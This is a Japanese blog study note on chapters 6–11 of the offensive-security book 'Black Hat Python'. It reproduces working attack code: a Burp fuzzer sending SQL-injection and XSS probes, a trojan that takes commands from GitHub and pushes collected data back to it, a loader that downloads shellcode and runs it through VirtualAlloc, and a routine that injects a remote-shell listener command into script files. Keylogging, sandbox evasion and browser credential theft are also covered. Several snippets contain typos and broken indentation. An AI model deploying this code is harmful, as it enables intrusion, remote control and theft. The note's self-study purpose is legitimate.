仮想私事の原理式

この世はワタクシゴトのからみ合い

【勉強メモ】サイバーセキュリティプログラミング -Pythonで学ぶハッカーの思考- (2)

邦題は「サイバーセキュリティプログラミング」と「守」側っぽいネーミングだが、原題は「Black Hat Python」*1という「攻」側を匂わせる名前であり、内容も「攻」寄りの内容だ。PythonによるNetCatの自作から始まり、パケットキャプチャー、Webサーバへの攻撃など、「ハッカーっぽい」(素人目から見てだが)テクニックが学べる。内容の濃い一冊。

2015年発行でPython2が使われており、Python3推奨の現在としては少し抵抗があるが、自身でPython3に書き換えるのも勉強になって良いと思う。

なお、原語では「Black Hat Python 2nd Edition」として、Python3で書かれた本も出ているので、こちらに取り組んでみるのも良いかも。 (僕はどちらもやってないけど…)

【2023/12/18 追記】 2022/4/13に第2版の邦訳版も出ています。付録も充実(むしろ付録に価値があるかも)。今から勉強する人は是非第2版でどうぞ。



では前回の続きで、後半の6章から11章のまとめ。

BurpやGitHubPythonで操作して攻撃に利用する。GitHubの利用なんかは感心してしまった。7章から9章の内容を盛り込めば、Pythonのトロイエージェントが作れそう。

内容の濃い一冊だった。読み通したものの、正直どれだけ頭に定着できたことか・・・。

余談だけど、pythonは応用になればなるほど、ライブラリの使い方に終始していく感じがある。勿論、他の言語でも標準ライブラリで全てができるわけではなく別途専用ライブライは必要なんだけど、pythonは特に「道具感」が強い気がするのは気のせいだろうか。多機能はライブラリが多すぎるせいだろうか。標準のPythonの学習コストが低い(覚えることが少ない)のが理由なんだろうとは思うけど。

今更だけど、こういう勉強メモをブログに上げるのって、やめた方が良いのかな? 著作権的に。 一応、本の丸写しにはならないようにしてるつもりだけど、マズいのなら止めます。


6章 Burp Proxy の拡張

最近(といってももう古いけど)のBurp SuiteにはSpiderやProxyの他に「Extensions」という自作ツールを追加する機能がある。PythonRubyJavaを使ってBurpにGUIにパネルを追加し、作業を自動化できる。 本章は、Burpを既に使ったことがあり、プロキシでリクエストを途中改変できることが前提。


Burpを使ったファジング

BurpSuiteの「Extender」タブ ⇒ 「APIs」を見ると、BurpのAPIドキュメントを確認できる。 Proxy機能やRepeater機能は自らが診断値を挿入し、レスポンスを見て脆弱性があるかを確認するが、Intruder機能はこれらの機能を自動でおこなってくれる。 BurpSuiteのIntruder機能を使ってWebのリクエストのファジングを行うので、以下のクラスを確認する。

  • IIntruderPayloadGeneratorクラス
    カスタムIntruderペイロードジェネレータに使用される。IIntruderPayloadGeneratorFactoryクラスは、IIntruderPayloadGeneratorクラスの新規インスタンスを返す。

  • IIntruderPayloadGeneratorFactoryクラス IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()を呼び出すと、 カスタムIntruderペイロードファクトリーに登録できる。

また、上記のクラスを使うにあたり、以下の二つの関数を作る必要あり。

  • getGeneratorName()
    ユーザが作る拡張機能の名前を取得するためにBurpから呼び出される関数

  • createNewInstance( IIntruderAttack attack )
    ペイロードジェネレータを使用してIntruder攻撃を開始した際に、Burpが呼び出される


bhp_fuzzer.pyの作成
1.Burpの拡張機能作成に必要なクラスをインポート

from burp import IBurpExtender    # 拡張機能作成に必須
# Intruderのペイロードジェネレータ作成に必要
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator


2.IBurpextenderクラスとIIntruderPayloadGeneratorFactoryクラスを拡張するクラスを定義

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    # ↑IBurpExtender, IIntruderPayloadGeneratorFactoryの両クラスを継承
    def registerExtenderCallbacks(self, callbacks):
    # ↑拡張読込時、最初に呼ばれる。これを実装しないとBurpのExtenderは動かない
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        # Intruderペイロードのファクトリーを登録する
        callbacks.registerIntruderPayloadGeneratorFactory(self)

    def getGeneratorName(self):
        return "BHP Payload Generator"  # ペイロードジェネレータ名を返す

    def createNewInstance(self, attack): # 攻撃パラメータattackを受けて、
        return BGPFuzzer(self, attack)  # ペイロードジェネレータのオブジェクトを返す


3.ペイロードジェネレータ

class BHPFuzzer(IIntruderPayloadGenerator):                                                                             
        def __init__(self, extender, attack):                                                                               
            self._extender = extender                                                                                       
            self._helpers = extender._helpers
            self._attack = attack
            self.max_payloads = 10  # ファジングの最大回数
            self.nu_iterations = 0  # ファジングの繰り返し回数カウンタ
            return
    
        def hasMorePayloads(self):  # ファジング回数チェック関数(内容割愛)

    # オリジナルのHTTPリクエストを受け取り、ファジング用ペイロードを追加して返す
        def getNextPayload(self, current_payload):
            payload = "".join(chr(x) for x in current_payload) # 文字列(バイト列)に変換
        # chr()はpython2とpython3で動作が違うので注意
        #  Python2:chr()は数値をバイト列に変換
        #  Python3:chr()は数値(UnicodeのCode Point)をUnicodeに変換。Python2のunichr()と同じ
            payload = self.mutate_payload(payload) # ファジング関数に渡して変換
            self.nm_iterations += 1
            return payload
    
    # ファジング用関数の本体
        def mutate_payload( self, original_payload ):
            picker = random.randint(1, 3) # 攻撃タイプ(1~3)をランダムに決定
            offset = random.randint(0, len(original_payload)-1) #ペイロード内位置をランダム取得
            payload = original_payload[:offset] # ランダム位置までをまずペイロードに入れる
    
        # タイプ1:SQLインジェクションをチェック
        if picker == 1:
                payload += "'"
    
            # タイプ2:XSSをチェック
            if picker == 2:
                payload += "<sript>alert('BHP!');</script>"
    
            # タイプ3:ペイロードの一部を繰り返す
        # (ex) abcdefgij => abcdefdefdefgij
            if picker == 3:
                chunk_length = random.randint(len(payload[offset:]), len(payload)-1)
            # ↑最大値がlen(payload)-1だとオーバーするんじゃ?と思ったが、循環するから大丈夫
            repeater = random.randint(1, 10)
                for i in range(repeater):
                    payload += original_payload[offset:offset+chunk_length]
    
            payload += original_payload[offset:]
        return payload

4.Burp Suiteを起動 ⇒ Extenderタブ内のExtensionsタブ ⇒ Addボタン ⇒ Extension type: Python Extension file : bhp_fuzzer.py


5.BurpのProxyタブ ⇒ Optionsタブ でBurpがローカルプロキシとして動作していることを確認 (待受ポートは 127.0.0.1:8080 がデフォルト)。 WebブラウザFirefox等)にてBurpをプロキシとして設定し、 http://testphp.vulnweb.com (acunetixのテスト用サイト) にアクセス。ただし、Burpがリクエストを止めているのでアクセスできないはず。 Proxyタブ ⇒ Interceptタブ で現在捕えているリクエストを確認できるので、「Forward」ボタンをクリックしてリクエストを送ると、ブラウザからアクセスできる。


6.テスト用サイトの検索ボックスに「test」などの文字を入れて検索し、Proxyタブ ⇒ InterceptタブでPOSTリクエストが捕らえられていることを確認したら、「Action」ボタンから「Send to Intruder」を選択し、リクエスト内容をIntruderに送る。

7.Intruderタブ ⇒ Positoinsタブを見ると、項6で送ったリクエスト内容が表示されており、パラメータ部分がハイライトされている(攻撃すべき箇所をBurpが教えてくれている)。 Payloadsタブの「Payload type:」を「Extension-generated」に設定 ⇒ 「Payload Options」セクションの「Select generator ...」選択 ⇒ bhp_fuzzer.py内で書いた「BHP Payload Generator」を選択。

8.画面上又は「Intruder」メニューから「Start attack」でファジング攻撃開始。 以下のような結果を得た。

応答コードがすべて200(成功)なので異常を見つけにくいが、シングルクォート(')を挿入した際のレスポンスを見るとMySQLからWarningが出ており、SQLインジェクション脆弱性があることが分かる。



7章 GitHubを通じた指令の送受信

トロイに対して、GitHubをC2サーバ替わりに使っている。面白い。

  • トロイの木馬フレームワーク作成で困難なことの一つは、設置したトロイの制御やアップデート、データの受信を非同期的に行うこと。
  • トロイに指令を送るための画期的な方法は、IRCtwitterをはじめいくつか存在する。
  • GitHubを使って設置したトロイの設定情報、窃取データ、タスク実行のために必要なモジュールなどを保存する。GitHubとの通信はSSLで暗号化されていて、GitHubをブロックしている企業は非常に少ない。
  • Pythonがライブラリをインポートする仕組みをハックすれば、トロイがGitHubリポジトリから必要なモジュールとライブラリを自動的に取得するようにもできる。


GitHubから指令を受信するトロイの木馬の作成
  • Pythonの import 機能を使うと、外部ライブライを読み込んでコード内で使える。
  • Pythonでは、ローカルにライブラリが無かった場合、自動でリモートから取得してインポートさせられる
    → ライブラリ自動インポート用クラスを作り、sys.meta_pathというリストに追加する


1.必要なライブラリのインポート
特に、インポート動作をコントロールするためのimpライブラリ(後継はimportlib)と、GitHub API を使うために github3ライブライが必要

import json  # JSONを扱う
import base64
import sys
import time
import imp    #import内部へアクセスするためのモジュール。後継は importlib
import random
import threading
import Queue
import os
from github3 import login  # GitHub APIの利用

github3.py
github3.pyは、Pythonで記述されたGitHubREST APIを使うためのラッパー。
2021年現在ではPython3.6以降を対象としている。Python2で使用するにはv1.3.0以下を使う必要がある。Python2で使う場合は、以下のようなメッセージがでる。
/home/riki/.local/lib/python2.7/site-packages/jwcrypto/jwk.py:8: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. from cryptography import x509 GitHub API v3にアクセスするためのライブラリとしては、他にPyGithubなどがある。

2.GitHubへのログインする関数
本書内ではユーザ名とパスワードによるログインを行っていたが、自分の環境ではできなかった。 GitHubで作成したアクセストークンを使うログイン方法にしたら成功。

mytoken = "ここにGitHubで生成したアクセストークンをコピペ"   #GitHubで生成したアクセストークン

### Githubのリポジトリへアクセスして認証し、カレントリポジトリやブランチを取得する
def connect_to_github():
    #本書のユーザ名とパスワードによるログイン方法は失敗。アクセストークンによるログインは成功
    #gh = login(username="femrik", password="femr12github70rik")    #githubへのログイン
    gh = login(token=mytoken)   #アクセストークンによるlogin
    # login()の戻り値は class github3.github.GitHub

    repo    = gh.repository("femrik","BHP_chapter7")    #Repositoryオブジェクトの取得
    # repository()の戻り値は class github3.repos.repo.Repository

    branch  = repo.branch("main")   #Branchオブジェクトの取得
    # branch()の戻り値は class github3.repos.repo.Repository

    return gh, repo, branch

3.GitHub(リモートリポジトリ)からファイルを取得する関数
branch.commit.commit.tree.recurse() は動作せず。最後のrecurse関数の前に、to_tree関数を挿入したら動作した。

def get_file_contents(filepath):
    gh, repo, branch = connect_to_github()      #connect_to_github()から返り値を受け取る
    #tree = branch.commit.commit.tree.recurse() #本書のコードでは動かなかった
    tree = branch.commit.commit.tree.to_tree().recurse()    #これなら動いた
  # Treeクラスは Blob を格納するツリー構造のデータ。

    for filename in tree.tree: 
        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
       # blobは実際のファイル内容を表すもの(サイズと内容のSHA1)
            return blob.content
    return None

Git tree
treeはツリー構造でblobを管理するもの。blobがファイルなら、treeはディレクトリ。


Git blob(バイナリ―ラージオブジェクト)
Blobは実際のファイル内容を表すもので、自身のサイズと内容から計算されるSHA1ハッシュによって名付けられる。treeの末端にある。各ファイルのコンテンツをリポジトリに保存する際に使用されるオブジェクトタイプ。ファイルのSHA1ハッシュが計算され、blobオブジェクトに保存される。 tree.blobs にはツリーに所属する全てのBlobが格納されているので、再帰的に呼び出せばコミットに紐づくBlobを全て抜き出せる。


4.GitHubにある設定ファイルを読み取り、トロイにモジュールをインポートする関数

def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)  #GitHubからconfigを読み取る
    # 読み取った設定ファイルは元はJSON形式だが、base64化されているので、
    # base64デコードした後で、jsonオブジェクトとしてロードする
    config  = json.loads(base64.b64decode(config_json))
    configured  = True
    for task in config:
        if task['module'not in sys.modules:
            exec("import %s" % task['module'])  #モジュールインポートの実行
    return config


5.ターゲットマシン上で収集したデータをGitHubに送信(push)する関数

def store_module_result(data):
    gh, repo, branch = connect_to_github()  #githubログイン、リポジトリとブランチを取得
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(100010000))

    # 取得データをBase64エンコードし、GitHubへファイルとして登録する
    repo.create_file(remote_path, "Commit message", base64.b64encode(data))
    return


6.GitHubからダウンロードしたライブラリを自動インポートするためのクラスを作成 侵入済みのトロイにGitHubからダウンロードした新たなライブラリをインポートしたいが、当然トロイ自体を書き換えることはできないので、sys.meta_pathメタパス・ファインダ・オフジェクトを使ってインポートさせる。



sys.meta_path
Pythonでは、指定されたモジュールが sys.modules に見つからなかったとき、次に sys.meta_path というリストに登録されているメタパス・ファインダーを順に実行する。 メタパス・ファインダー(meta path finder)オブジェクトには、名前とインポートパス、ターゲットモジュールの3つの引数を取る find_module()メソッドが実装されてなければならない。
※ find_module()メソッドは、現在は find_spec()モジュールに置き換わった。find_spec()が無ければ find_module()が使われる。

# メタパス・ファインダー・クラスの定義
class GitImporter(object):
    def __init__(self):     #コンストラクタ
        self.current_module_code = ""  #本書だと、この行のインデントが不足してる

  # ライブラリを見つけるために最初に呼び出されるfind_moduleメソッド(必須)
  # ただし、現在では find_spec()メソッドに置き換え推奨
    def find_module(self, fullname, path=None):  # meta path finderに必要なメソッド
        if configured:
            new_library = get_file_contents("modules/%s" % fullname)  #githubからモジュール取得
            if new_library is not None:
                # GitHubから取得したモジュール内容(コード)を、変数current_module_codeにセット
                self.current_module_code = base64.b64decode(new_library)  
                return self
        return None

  # 動的にモジュールをロードするためのメソッド
  def load_module(self, name):
        module = imp.new_module(name)   # name文字列を空モジュールとしてインポートする
    # モジュール内の変数辞書を参照して、current_module_codeの内容を実行する
    exec self.current_module_code in module.__dict__  


        #新規作成したモジュールをsys.modulesのリストに追加する
        sys.modules[name] = module
        return module


# メタパス・ファインダー・オブジェクトをsys.meta_pathに追加する…
# というか、sys.meta_pathをGitImporterオブジェクト1個を要素とするリストに置き換えている
sys.meta_path = [GitImporter()] 


Pythonモジュールの動的読み込み
【古い方法】
imp.load_moduleメソッドを使う方法で、find_moduleメソッドの結果を使用して、load_moduleメソッドで読み込む。 このとき、モジュール名(属性name)は load_module の第1引数nameに設定される。 Pythonではモジュールは sys.modules に登録されるが、同じ名前もモジュールは上書きされるので注意。

def say_hello():
    print "Hello, World!"
import sys
import imp

def load_plugins():
    # find_moduleメソッドで hello_plugin.pyを検索し、file(ファイルオブジェクト)、
    # pathname(ファイルのパス名)、description(モジュールの説明)のタプルを返す
    (file, pathname, description) = imp.find_module("hello_plugin")
    
    # find_moduleメソッドで見つけたモジュールをロードする。nameは完全なモジュール名。
    # 戻り値はモジュールオブジェクト。
    plugin = imp.load_module("hello_plugin", file, pathname, description)
    plugin.say_hello()

if __name__ == "__main__":
    load_plugins()

【新しい方法】
impは、importlibに置き換えられる。 importlib.import_moduleメソッドでモジュールを読み込む(相対パスも可能)。


exec in
※ Python2の内容なので、いまさら覚える価値はないかも。 Python2の exec構文は、
exec 実行コード [ in 参照変数の辞書 [, 変数割当先の辞書] ]
参照変数の辞書: コード実行の際に使用する変数群の辞書。どのスコープの変数を使うか。 変数割当先辞書: コード実行によって変更された値の格納先変数群の辞書 ※ オプションを指定しない場合、変数群の辞書には現在のスコープが適用される。

本書コード内の
exec self.current_module_code in module.dict
の部分は、「module内の変数を参照して、self.current_module_code を実行する」ということ。


7.モジュールを読み込んで実行するためのメインループ

def module_runner(module):
  task_queue.put(1)  # '1'をキューにプッシュする(モジュール実行中の合図)
  result = sys.modules[module].run()  # 指定モジュールのrun()を実行する
  # sys.modulesは読み込み済みのモジュール名とモジュールオブジェクトがマップされた辞書
  task_queue.get()  # キューからアイテムを取り出す
  store_module_result(result)  # モジュールの実行結果をGitHubに登録
  return

### トロイの木馬のメインループ
while True:
  if task_queue.empty():  # キューが空だったら
    config = get_trojan_config()    # githubから設定ファイルを取得し
    for task in config:
      # module_runner関数を別スレッドで実行(キューには'1'が入り、空ではなくなる)
      t = threading.Thread(target=module_runner, args=(task['module'],))
      t.start()
      time.sleep(random.randint(110))
    time.sleep(random.randint(1000,10000))

実行結果

[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister modules.
[*] In environment modules.



8章 Windowsトロイの木馬がよく悪用するテクニック

7章で開発したトロイの木馬の機能拡張。具体的には、

  • キーロガー
    • pythoncomモジュール
      PythonからCOM(Component Object Model)を利用するために必要。
    • pyHookモジュール
      WinAPIのsetWindowsHookExを使うモジュール。
  • スクリーンショット
    • PyWin32を使用して、Windowsのデバイスコンテキストを操作して実装。
  • シェルコードの実行
    • メモリ上にバッファを確保し、ctypesモジュールでバッファを指す関数ポインタを作り、呼び出せばよい
    • ・・・はずだったが、現在はWindowsDEP機能で止められる(NX bitが立っている)。
    • 仕方ないので、自分が知っていたWin32APIでシェルコードを呼び出す方法で実行。
  • サンドボックス検知
    • キー入力やマウスクリック等の利用者の入力の頻度をチェック(本書紹介)
    • 起動時間、デスクトップ上のファイル、画面比率、ユーザ名、コンピュータ名
    • Execution Environment Fingerprinting
    • Execution timing detection(サンドボックスでは通常より多くのクロックカウントが掛かる)
    • 特定の仮想環境でしか使用できないCPU命令
      (参考 https://hackmd.io/@K-atc/S1kLEr5x?type=view


pyHookのインストール

pyHook-1.5.1.win32-py2.7.exe をダウンロードして実行したら、「レジストリにPython2.7が登録されていない」旨のエラーでインストールできない。仕方ないので、以下の手順でインストールした。

1.ZIP(ソースコード?)をダウンロード
2.swig.exe(C/C++ のソース(ヘッダ)から、いろいろな言語のラッパーを作成)をインストール
3.cmd.exe上で以下のコマンドを実行

> set VS90COMNTOOLS=%VS***COMNTOOLS% (***は自環境のVisual Studioのバージョン)

↑ これをせずに実行すると、「vcvarsall.batが無いよ」というエラーがでる。
【参考】https://www.regentechlog.com/2014/04/13/build-python-package-on-windows/ www.regentechlog.com

4.cmd.exe上で

  > python setup.py build

→ buildフォルダ内に「pyHook」フォルダとモジュールが生成される。

5.build下の「pyHook」フォルダをPython2.7のインストールフォルダ下の「Lib」下にコピー。

これで pyHookが使えるようになる(はず)。


Python流のシェルコードの実行(本書とは別方法)

本書のコードではシェルコードを動かせなかったので、C言語でWin32APIを使って実行する方法(VirtualAlloc関数で実行権限を付与する)を、そのままPythonに移植してみたところ、実行できた。 しかし、このコードだとPythonを使っている意味が全くない(C言語で書いた方が早い)ので、もっと良い書き方があれば知りたい。

# -*- coding: utf-8 -*-
import urllib2
import ctypes
import base64

# Webサーバからシェルコードを取得
#url = "http://localhost:8000/shellcode.raw"
url = "http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)
buf = base64.b64decode(response.read())

# str型からbytearray型に変換
# bytearray型はpython2.6かららしいので、2005年時点では無かったかも
shellcode = bytearray(buf)

# VirtualAlloc()でメモリ確保、実行権限付与
shellcode_pointer = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),   # size
    ctypes.c_int(0x3000),           # MEM_COMMIT
    ctypes.c_int(0x40)              # PAGE_EXECUTE_READWRITE
)

# c_char型(サイズ:len(shellcode))の空配列を作成し、shellcodeと同じデータを指すようにする
# ctypes.from_buffer()は引数のバッファをを共有するctypesインスタンスを返す
# 要は、変数shellcodeを c_char配列型にキャストしていると思えばOK?
shellcode_buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(shellcode_pointer),
    shellcode_buffer,
    ctypes.c_int(len(shellcode))
)

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(shellcode_pointer),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)) # NULL
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))



9章 Internet Explorerで楽しもう

  • Windows XP以降では、アプリにInternet ExplorerのCOMオブジェクトを埋め込み可能
  • Windows10の現在でもInternet Explorerは備わっている。
  • IEオートメーションオブジェクトを使用して、ある種のMan-in-the-Browser攻撃を行う
    要は、FacebookGmailにアクセスしたら、仕込んだCOMオブジェクトによって強制的にログアウトさせ、利用者が改めてログインする際に入力するユーザ名とパスワードを窃取し、指定サーバに送信する。

  • IEプロセスはWindowsセキュリティのホワイトリストに入っているはずなので、IEのCOMオートメーションはセキュリティに引っ掛からずにデータ窃取を行える。

ただ、最近はFacebookGmailも、Internet Exploreによるアクセスを拒否しているので、動作確認はできず。FirefoxChromeで同じことができないかと考えてみるのもいいかと思ったが、保留。



10章 Windowsにおける権限昇格

  • Windows Active Directoryネットワークに侵入できた想定。次の目的は「権限昇格」
  • ドライバやWindowsネイティブカーネル脆弱性を突く方法が典型だが、システム不安定にする危険あり
  • 高い権限のプロセスが処理しているバイナリに、低い権限のユーザが書き込めるか試す。
  • WMIを利用して継続的にプロセス生成を監視し、各プロセスのトークを見て、不相応に高い権限でアクセスされているプロセスを探す。
  • ファイル作成の処理に割込み、コードインジェクションして高い権限のプロセスにcmd.exeを実行させる。APIフックが不要なのでAVの監視に引っ掛からない


WMIを使用したプロセス監視

WMIを利用して、プロセスが生成されるたびにコールバックを受け取る。

1.ライブラリのインポート

import win32con    # Win32プログラミングの定数
import win32api
import win32security
import wmi
import sys
import os

2.WMIインタフェースのインスタンスを作成し、プロセス生成の監視を開始する

# WMIインタフェースのインスタンス化
c = wmi.WMI()

# プロセス監視の開始。watch_for()メソッドで wmi_watcher オブジェクトが返る
process_watcher = c.Win32_Process.watch_for("creation")

3.イベントの詳細情報を取得する

#process_wather()が新しいプロセス生成イベントを取得するまで待つ
new_process = process_watcher() 

# wmi_watcherでキャッチしたイベントは wmi_eventオブジェクトとして返される
proc_owner  = new_process.GetOwner()
proc_owner  = "%s\\%s" % (proc_owner[0], proc_owner[2])
create_date = new_process.CreationDate
executable  = new_process.ExecutablePath
cmdline     = new_process.CommandLine
pid         = new_process.ProcessId
parent_pid  = new_process.ParentProcessId
privileges  = "N/A"
process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date, proc_owner, executable, cmdline, pid, parent_pid, privileges)

4.1~3の処理をループさせつつ、結果を表示させたりファイルに書き出したりすればよし。


コードインジェクション(スクリプト狙い)

ファイルの作成・変更・削除等を監視するツール(割愛)に、コードインジェクションをするコードを追記する。

1.各種スクリプトの拡張子と、インジェクションしたいコードの辞書を用意

fyle_types = {}
command = "C:\\WINDOWS\\TEMP\\bhnet.exe -l -p 9999 -c"   # 実行させたいコマンド

file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n""\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker""Start-Process \"%s\"\r\n" % command]
# file_types['拡張子'][0] = マーカー(コメントアウトされた"bhpmarker")
# file_types['拡張子'][1] = インジェクションコード

2.スクリプトファイルに、コードをインジェクションする関数

def inject_code(full_filename, extension, contents):
  # contents(ファイルデータ)内に、マーカーが含まれているか(インジェクション済みか)
  if file_types[extension][0in contents:
      return
    
  # マーカーが無ければインジェクション実行
  full_contents  = file_types[extension][0]    # マーカー
  full_contents += file_types[extension][1]    # 実行させたいコード
  full_contents += contents    # 本来のファイルデータ

  fd = open(full_filename, "wb")
  fd.write(full_contents)    # ファイル書込み
  fd.close()
  retrun

3.ファイル更新を検出したら、コードインジェクションする

(…略…)
        elif action == FILE_MODIFIED:
          fd = open(full_filename, "rb")
          contents = fd.read()
          fd.close()
                    
          ######   追加したコード ここから   ##### 
          filename,extension = os.path.splittext(full_filename)
          if extension in file_types:
            inject_code(full_filename, extension, contents)    # コードインジェクション
          #####   ここまで   #####
(…略…)



11章 フォレンジックの攻撃への転用と自動化

  • メモリフォレンジックツールである volatilityを使用
  • 起動中のWindows仮想マシンのメモリイメージファイルを解析。
  • パスワードハッシュを取ったり、起動中のアプリにコードインジェクションしたり。
  • コードインジェクションには、Immunity Debuggerも活用(Immunity DebuggerのPythonプラグインを書く)

本書内ではWindows XP仮想マシンをターゲットにしていたけど、手元にイメージが無かったので実行できず。代わりにWindows2008仮想マシンを対象にしてみたが、コードインジェクションは上手くいかなかった。

こういった状況(仮想マシンに対して、ホスト側からアプローチする)は、正直イメージができない。ハイパーバイザ型のホストに侵入できれば、こういった攻撃も有効なのかもしれない。本書内でも「大企業のネットワーク内で長く過ごせば、この種の攻撃方法は有用であると理解できるようになるだろう」とある。



付録A リバースエンジニアリングフレームワーク miasm

miasm(ミアム?)については初めて知った。使いこなせれば面白そう。Dockerイメージがあるのも助かる。 ただ、やはり資料が少ないのはいただけない。オブジェクトや関数の詳細がほぼ分からない。本書内のコメントもざっくり過ぎて、あまり頼りにならない。 こういう手掛かりの少ないライブラリを使いこなす人たちはどうやって理解しているのだろうか。やはり大元のソースコードに当たっているのかな。